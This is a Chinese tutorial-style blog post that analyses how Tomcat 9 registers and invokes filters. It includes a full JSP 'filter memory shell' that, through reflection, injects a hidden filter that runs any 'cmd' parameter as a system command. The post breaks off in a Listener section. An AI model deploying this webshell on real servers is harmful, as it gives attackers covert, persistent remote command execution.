简介 环境 以下代码基于Windows 10、Tomcat 9.0.73、JDK 1.8.0_66
Tomcat解析配置文件 在org/apache/catalina/core/StandardContext类的startInternal方法开始
1 fireLifecycleEvent(Lifecycle.CONFIGURE_START_EVENT, null );
经过如下函数调用栈:
1 2 3 4 5 configureStart:976 , ContextConfig (org.apache.catalina.startup) lifecycleEvent:304 , ContextConfig (org.apache.catalina.startup) fireLifecycleEvent:123 , LifecycleBase (org.apache.catalina.util) startInternal:4851 , StandardContext (org.apache.catalina.core) start:183 , LifecycleBase (org.apache.catalina.util)
来到org/apache/catalina/startup/ContextConfig类的configureStart方法,其中调用了webConfig方法 这个方法合并Tomcat全局web.xml、当前应用的web.xml、web-fragment.xml和web应用中的注解配置信息,然后调用configureContext方法将解析出的各种配置信息(如Servlet配置、Filter配置、Listener配置等)关联到Context对象中 configureContext方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 private void configureContext (WebXml webxml) { context.setPublicId(webxml.getPublicId()); context.setEffectiveMajorVersion(webxml.getMajorVersion()); context.setEffectiveMinorVersion(webxml.getMinorVersion()); for (Entry<String, String> entry : webxml.getContextParams().entrySet()) { context.addParameter(entry.getKey(), entry.getValue()); } context.setDenyUncoveredHttpMethods( webxml.getDenyUncoveredHttpMethods()); context.setDisplayName(webxml.getDisplayName()); context.setDistributable(webxml.isDistributable()); for (ContextLocalEjb ejbLocalRef : webxml.getEjbLocalRefs().values()) { context.getNamingResources().addLocalEjb(ejbLocalRef); } for (ContextEjb ejbRef : webxml.getEjbRefs().values()) { context.getNamingResources().addEjb(ejbRef); } for (ContextEnvironment environment : webxml.getEnvEntries().values()) { context.getNamingResources().addEnvironment(environment); } for (ErrorPage errorPage : webxml.getErrorPages().values()) { context.addErrorPage(errorPage); } for (FilterDef filter : webxml.getFilters().values()) { if (filter.getAsyncSupported() == null ) { filter.setAsyncSupported("false" ); } context.addFilterDef(filter); } for (FilterMap filterMap : webxml.getFilterMappings()) { context.addFilterMap(filterMap); } context.setJspConfigDescriptor(webxml.getJspConfigDescriptor()); for (String listener : webxml.getListeners()) { context.addApplicationListener(listener); } for (Entry<String, String> entry : webxml.getLocaleEncodingMappings().entrySet()) { context.addLocaleEncodingMappingParameter(entry.getKey(), entry.getValue()); } if (webxml.getLoginConfig() != null ) { context.setLoginConfig(webxml.getLoginConfig()); } for (MessageDestinationRef mdr : webxml.getMessageDestinationRefs().values()) { context.getNamingResources().addMessageDestinationRef(mdr); } context.setIgnoreAnnotations(webxml.isMetadataComplete()); for (Entry<String, String> entry : webxml.getMimeMappings().entrySet()) { context.addMimeMapping(entry.getKey(), entry.getValue()); } context.setRequestCharacterEncoding(webxml.getRequestCharacterEncoding()); for (ContextResourceEnvRef resource : webxml.getResourceEnvRefs().values()) { context.getNamingResources().addResourceEnvRef(resource); } for (ContextResource resource : webxml.getResourceRefs().values()) { context.getNamingResources().addResource(resource); } context.setResponseCharacterEncoding(webxml.getResponseCharacterEncoding()); boolean allAuthenticatedUsersIsAppRole = webxml.getSecurityRoles().contains( SecurityConstraint.ROLE_ALL_AUTHENTICATED_USERS); for (SecurityConstraint constraint : webxml.getSecurityConstraints()) { if (allAuthenticatedUsersIsAppRole) { constraint.treatAllAuthenticatedUsersAsApplicationRole(); } context.addConstraint(constraint); } for (String role : webxml.getSecurityRoles()) { context.addSecurityRole(role); } for (ContextService service : webxml.getServiceRefs().values()) { context.getNamingResources().addService(service); } for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null ) { long maxFileSize = -1 ; long maxRequestSize = -1 ; int fileSizeThreshold = 0 ; if (null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if (null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if (null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement ( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null ) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } SessionConfig sessionConfig = webxml.getSessionConfig(); if (sessionConfig != null ) { if (sessionConfig.getSessionTimeout() != null ) { context.setSessionTimeout( sessionConfig.getSessionTimeout().intValue()); } SessionCookieConfig scc = context.getServletContext().getSessionCookieConfig(); scc.setName(sessionConfig.getCookieName()); scc.setDomain(sessionConfig.getCookieDomain()); scc.setPath(sessionConfig.getCookiePath()); scc.setComment(sessionConfig.getCookieComment()); if (sessionConfig.getCookieHttpOnly() != null ) { scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue()); } if (sessionConfig.getCookieSecure() != null ) { scc.setSecure(sessionConfig.getCookieSecure().booleanValue()); } if (sessionConfig.getCookieMaxAge() != null ) { scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue()); } if (sessionConfig.getSessionTrackingModes().size() > 0 ) { context.getServletContext().setSessionTrackingModes( sessionConfig.getSessionTrackingModes()); } } for (String welcomeFile : webxml.getWelcomeFiles()) { if (welcomeFile != null && welcomeFile.length() > 0 ) { context.addWelcomeFile(welcomeFile); } } for (JspPropertyGroup jspPropertyGroup : webxml.getJspPropertyGroups()) { String jspServletName = context.findServletMapping("*.jsp" ); if (jspServletName == null ) { jspServletName = "jsp" ; } if (context.findChild(jspServletName) != null ) { for (String urlPattern : jspPropertyGroup.getUrlPatterns()) { context.addServletMappingDecoded(urlPattern, jspServletName, true ); } } else { if (log.isDebugEnabled()) { for (String urlPattern : jspPropertyGroup.getUrlPatterns()) { log.debug("Skipping " + urlPattern + " , no servlet " + jspServletName); } } } } for (Entry<String, String> entry : webxml.getPostConstructMethods().entrySet()) { context.addPostConstructMethod(entry.getKey(), entry.getValue()); } for (Entry<String, String> entry : webxml.getPreDestroyMethods().entrySet()) { context.addPreDestroyMethod(entry.getKey(), entry.getValue()); } }
函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 configureContext:1447 , ContextConfig (org.apache.catalina.startup) webConfig:1330 , ContextConfig (org.apache.catalina.startup) configureStart:987 , ContextConfig (org.apache.catalina.startup) lifecycleEvent:304 , ContextConfig (org.apache.catalina.startup) fireLifecycleEvent:123 , LifecycleBase (org.apache.catalina.util) startInternal:4851 , StandardContext (org.apache.catalina.core) start:183 , LifecycleBase (org.apache.catalina.util) addChildInternal:683 , ContainerBase (org.apache.catalina.core) addChild:658 , ContainerBase (org.apache.catalina.core) addChild:662 , StandardHost (org.apache.catalina.core) manageApp:1782 , HostConfig (org.apache.catalina.startup) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invoke:294 , BaseModelMBean (org.apache.tomcat.util.modeler) invoke:819 , DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:801 , JmxMBeanServer (com.sun.jmx.mbeanserver) createStandardContext:460 , MBeanFactory (org.apache.catalina.mbeans) createStandardContext:408 , MBeanFactory (org.apache.catalina.mbeans) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invoke:294 , BaseModelMBean (org.apache.tomcat.util.modeler) invoke:819 , DefaultMBeanServerInterceptor (com.sun.jmx.interceptor) invoke:801 , JmxMBeanServer (com.sun.jmx.mbeanserver) invoke:468 , MBeanServerAccessController (com.sun.jmx.remote.security) doOperation:1471 , RMIConnectionImpl (javax.management.remote.rmi) access$300 :76 , RMIConnectionImpl (javax.management.remote.rmi) run:1312 , RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi) doPrivileged:-1 , AccessController (java.security) doPrivilegedOperation:1411 , RMIConnectionImpl (javax.management.remote.rmi) invoke:832 , RMIConnectionImpl (javax.management.remote.rmi) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) dispatch:323 , UnicastServerRef (sun.rmi.server) run:200 , Transport$1 (sun.rmi.transport) run:197 , Transport$1 (sun.rmi.transport) doPrivileged:-1 , AccessController (java.security) serviceCall:196 , Transport (sun.rmi.transport) handleMessages:568 , TCPTransport (sun.rmi.transport.tcp) run0:826 , TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$256 :683 , TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1 , 1966382949 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$25 ) doPrivileged:-1 , AccessController (java.security) run:682 , TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142 , ThreadPoolExecutor (java.util.concurrent) run:617 , ThreadPoolExecutor$Worker (java.util.concurrent) run:745 , Thread (java.lang)
回到startInternal方法,执行下面代码
1 2 3 4 5 6 7 8 9 10 for (Map.Entry<ServletContainerInitializer, Set<Class<?>>> entry : initializers.entrySet()) { try { entry.getKey().onStartup(entry.getValue(), getServletContext()); } catch (ServletException e) { log.error(sm.getString("standardContext.sciFail" ), e); ok = false ; break ; } }
这段代码的作用是遍历已注册的ServletContainerInitializer,并依次调用它们的onStartup方法。通过这种方式,可以在Servlet容器启动时执行一些初始化任务,例如注册Servlet、Filter、Listener等。 最终来到org/apache/catalina/core/ApplicationContext的addFilter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 private FilterRegistration.Dynamic addFilter (String filterName, String filterClass, Filter filter) throws IllegalStateException { if (filterName == null || filterName.equals("" )) { throw new IllegalArgumentException (sm.getString("applicationContext.invalidFilterName" , filterName)); } checkState("applicationContext.addFilter.ise" ); FilterDef filterDef = context.findFilterDef(filterName); if (filterDef == null ) { filterDef = new FilterDef (); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null ) { return null ; } } if (filter == null ) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); } return new ApplicationFilterRegistration (filterDef, context); }
该段代码的作用是向应用程序上下文中添加过滤器,并返回一个FilterRegistration.Dynamic对象,用于进一步配置和管理该过滤器。 函数调用栈:
1 2 3 4 5 6 7 addFilter:774 , ApplicationContext (org.apache.catalina.core) addFilter:761 , ApplicationContext (org.apache.catalina.core) addFilter:434 , ApplicationContextFacade (org.apache.catalina.core) <init>:109 , WsServerContainer (org.apache.tomcat.websocket.server) init:137 , WsSci (org.apache.tomcat.websocket.server) onStartup:49 , WsSci (org.apache.tomcat.websocket.server) startInternal:4929 , StandardContext (org.apache.catalina.core)
filterMaps的添加过程,在org/apache/catalina/core/ApplicationFilterRegistration的addMappingForUrlPatterns方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @Override public void addMappingForUrlPatterns (EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) { FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterDef.getFilterName()); if (dispatcherTypes != null ) { for (DispatcherType dispatcherType : dispatcherTypes) { filterMap.setDispatcher(dispatcherType.name()); } } if (urlPatterns != null ) { for (String urlPattern : urlPatterns) { filterMap.addURLPattern(urlPattern); } if (isMatchAfter) { context.addFilterMap(filterMap); } else { context.addFilterMapBefore(filterMap); } } }
函数调用栈:
1 2 3 4 5 6 addMappingForUrlPatterns:83 , ApplicationFilterRegistration (org.apache.catalina.core) <init>:116 , WsServerContainer (org.apache.tomcat.websocket.server) init:137 , WsSci (org.apache.tomcat.websocket.server) onStartup:49 , WsSci (org.apache.tomcat.websocket.server) startInternal:4929 , StandardContext (org.apache.catalina.core) start:183 , LifecycleBase (org.apache.catalina.util)
经过上面的解析,此时filterDefs、filterMaps中已经有数据了,并且filterMaps是根据filterDefs来的
接着来到startInternal方法,调用filterStart
1 2 3 4 5 if (ok) { if (!filterStart()) { }
此时filterConfigs中还没有数据,经过filterStart方法后,就有了数据 函数调用栈:
1 2 3 4 filterStart:4331 , StandardContext (org.apache.catalina.core) startInternal:4965 , StandardContext (org.apache.catalina.core) start:183 , LifecycleBase (org.apache.catalina.util) addChildInternal:683 , ContainerBase (org.apache.catalina.core)
Filter 例子 创建一个简单的Java Web项目,添加一个Filter,然后在web.xml中配置Filter,启动项目,访问一个Servlet,查看控制台输出的日志,可以看到Filter的init方法和doFilter方法被调用了。另外在停止Tomcat时,也会调用Filter的destroy方法。 Filter示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package org.example.filter;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException;@WebFilter(value = "/hello", filterName = "hello") public class HelloFilter implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("filter init" ); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("do filter" ); filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy () { System.out.println("filter destory" ); } }
web.xml配置如下:
1 2 3 4 5 6 7 8 <filter > <filter-name > hello</filter-name > <filter-class > org.example.filter.HelloFilter</filter-class > </filter > <filter-mapping > <filter-name > hello</filter-name > <url-pattern > /hello</url-pattern > </filter-mapping >
Filter的init方法和doFilter方法是谁调用的呢?Filter是怎么被调用的呢?
Filter注册流程 根据上一节描述的Tomcat配置文件解析过程,在应用程序中动态添加一个filter的过程如下:
调用ApplicationContext的addFilter方法创建FilterDef对象
调用StandardContext的filterStart方法得到filterConfigs
调用ApplicationFilterRegistration的addMappingForUrlPatterns生成filterMaps(可以将自定义的filter放在filterMaps中的第一位,有两种方法:a.手动修改filterMaps的顺序 b.调用StandardContext的addFilterMapBefore方法将该filter放入filterMaps第一位)
另外,在实现内存马的时候,可以模仿以上函数的代码构建filterDefs、filterMaps、filterConfigs这三个变量
Filter触发流程 根据Tomcat版本添加Maven依赖
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.73</version > </dependency >
在自定义Filter的doFilter方法中下断点,然后启动Tomcat,访问Servlet,可以看到断点被触发了,查看调用栈,可以看到调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 doFilter:16 , HelloFilter (org.example.filter) internalDoFilter:178 , ApplicationFilterChain (org.apache.catalina.core) doFilter:153 , ApplicationFilterChain (org.apache.catalina.core) invoke:167 , StandardWrapperValve (org.apache.catalina.core) invoke:90 , StandardContextValve (org.apache.catalina.core) invoke:492 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:130 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:673 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:389 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:926 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
首先在org/apache/catalina/core/StandardWrapperValve类的invoke方法中,分两步: 第一步如下代码构建了一条filterChain
1 ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
构建好链后,第二步调用filterChain的doFilter方法,如下代码:
1 filterChain.doFilter(request.getRequest(), response.getResponse());
先分析ApplicationFilterFactory.createFilterChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null ) { return null ; } ApplicationFilterChain filterChain = null ; if (request instanceof Request) { Request req = (Request) request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain (); } else { filterChain = (ApplicationFilterChain) req.getFilterChain(); if (filterChain == null ) { filterChain = new ApplicationFilterChain (); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain (); } filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); if ((filterMaps == null ) || (filterMaps.length == 0 )) { return filterChain; } DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null ; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null ) { requestPath = attribute.toString(); } String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersURL(filterMap, requestPath)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context .findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue ; } if (!matchFiltersServlet(filterMap, servletName)) { continue ; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context .findFilterConfig(filterMap.getFilterName()); if (filterConfig == null ) { continue ; } filterChain.addFilter(filterConfig); } return filterChain; }
第一:尝试从request中获取filterChain,如果获取不到,就创建一个新的filterChain 第二:设置servlet,获取filterMaps 第三:将相关的路径映射过滤器添加到此过滤器链中 filterMap.getFilterName得到的是name,而context.findFilterConfig是根据name找filterConfigs中对应的值 进入addFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void addFilter (ApplicationFilterConfig filterConfig) { for (ApplicationFilterConfig filter : filters) { if (filter == filterConfig) { return ; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig [n + INCREMENT]; System.arraycopy(filters, 0 , newFilters, 0 , n); filters = newFilters; } filters[n++] = filterConfig; }
完成一轮for循环后,继续下一轮,直到所有符合条件的filterMap都添加到filterChain中 第四:添加与服务程序名称相匹配的筛选器,即第二个for循环 第五:返回完成的filterChain
接下来返回StandardWrapperValve.invoke方法,调用filterChain的doFilter方法 进入internalDoFilter方法 获取filterChain中的第一个filter 然后调用filter的doFilter方法
1 filter.doFilter(request, response, this );
进入该filter的doFilter方法就来到了我们写的函数总结
根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
filterChain 中调用 internalDoFilter 遍历获取 chain 中的FilterConfig,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
关键 这里面存在关键的三个变量:filterMaps、filterConfigs、filterDefs, 它们都从StandardContext中获取filterMaps 在StandardContext中添加filterMap的方法
1 2 3 4 5 6 7 @Override public void addFilterMap (FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.add(filterMap); fireContainerEvent("addFilterMap" , filterMap); }
1 2 3 4 5 6 7 @Override public void addFilterMapBefore (FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap" , filterMap); }
filterConfigs 在StandardContext中添加filterConfig的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public boolean filterStart () { if (getLogger().isDebugEnabled()) { getLogger().debug("Starting filters" ); } boolean ok = true ; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String, FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug(" Starting filter '" + name + "'" ); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig (this , entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString("standardContext.filterStart" , name), t); ok = false ; } } } return ok; }
这个方法在Tomcat启动时会运行,遍历filterDefs,然后根据filterDefs中的值创建filterConfig,然后将filterConfig添加到filterConfigs中filterDefs 在StandardContext中添加filterDef的方法
1 2 3 4 5 6 7 8 9 @Override public void addFilterDef (FilterDef filterDef) { synchronized (filterDefs) { filterDefs.put(filterDef.getFilterName(), filterDef); } fireContainerEvent("addFilterDef" , filterDef); }
而filterDefs是从配置文件中解析得来的
Filter内存马 filterMemshell.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <%-- Created by IntelliJ IDEA. User: DiliLearngent Date: 2023 /9 /18 Time: 16 :30 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.util.Map" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standContextField = applicationContext.getClass().getDeclaredField("context" ); standContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standContextField.get(applicationContext); Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs" ); filterConfigsField.setAccessible(true ); Map filterConfigs = (Map) filterConfigsField.get(standardContext); String myFiltername = "filtershell" ; if (filterConfigs.get(myFiltername) == null ) { Filter myFilter = new Filter () { @Override public void init (FilterConfig filterConfig) throws ServletException { Filter.super .init(filterConfig); } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ) { byte [] bytes = new byte [1024 ]; Process process = new ProcessBuilder ("cmd" , "/C" , req.getParameter("cmd" )).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String (bytes, 0 , len)); process.destroy(); return ; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { Filter.super .destroy(); } }; FilterDef filterDef = new FilterDef (); filterDef.setFilter(myFilter); filterDef.setFilterName(myFiltername); filterDef.setFilterClass(myFilter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(myFiltername); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(myFiltername, filterConfig); } System.out.println("Success!" ); } catch (Exception e) { e.printStackTrace(); } %>
访问http://localhost:8090/Tomcat_memshell_Web_exploded/filterMemshell.jsp 执行完第一行得到ApplicationContextFacade对象 执行到最后 成功将自定义的filter添加到filterConfigs、filterMaps、filterDefs中 此时内存马成功写入,接下来就是访问相应的url生成filterChain,调用自定义的filter,触发命令执行
参考 Tomcat 内存马(二)Filter型 Tomcat 内存马学习(一):Filter型 基于tomcat的内存 Webshell 无文件攻击技术 JavaWeb 内存马一周目通关攻略 Java安全之基于Tomcat实现内存马 Java Filter型内存马的学习与实践 关于Tomcat中的三个Context的理解
Listener 简介 常用监听器:
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
ServletRequestListener:对 Request 请求进行监听(创建、销毁)
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
这些类接口都是java.util.EventListener的子接口,以ServletRequestListener为例,它的接口定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface ServletRequestListener extends EventListener { public void requestDestroyed (ServletRequestEvent sre) ; public void requestInitialized (ServletRequestEvent sre) ; }
这个监听器用于监听ServletRequest的创建和销毁,当ServletRequest创建时,会调用requestInitialized方法,当ServletRequest销毁时,会调用requestDestroyed方法。
例子 创建HelloListener类,实现ServletContextListener接口,重写contextInitialized方法和contextDestroyed方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.example.listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;public class HelloListener implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent sre) { System.out.println("invoke ServletRequestListener requestDestroyed!" ); } @Override public void requestInitialized (ServletRequestEvent sre) { System.out.println("invoke ServletRequestListener requestInitialized!" ); } }
修改web.xml,添加listener配置
1 2 3 <listener > <listener-class > org.example.listener.HelloListener</listener-class > </listener >
Listener流程分析 在自定义的requestInitialized处下断点 函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 requestInitialized:14 , HelloListener (org.example.listener) fireRequestInitEvent:5663 , StandardContext (org.apache.catalina.core) invoke:116 , StandardHostValve (org.apache.catalina.core) invoke:93 , ErrorReportValve (org.apache.catalina.valves) invoke:673 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:74 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:389 , Http11Processor (org.apache.coyote.http11) process:63 , AbstractProcessorLight (org.apache.coyote) process:926 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
在StandardHostValve的invoke方法中 进入StandardContext的fireRequestInitEvent方法 在这个方法中调用listener的requestInitialized方法 需要考虑两个问题,第一:instances怎么来的?第二:requestInitialized方法中的参数event怎么来的? 第一个问题:在fireRequestInitEvent方法中,第一行就是获取instances,如下
1 Object instances[] = getApplicationEventListeners();
查看此函数
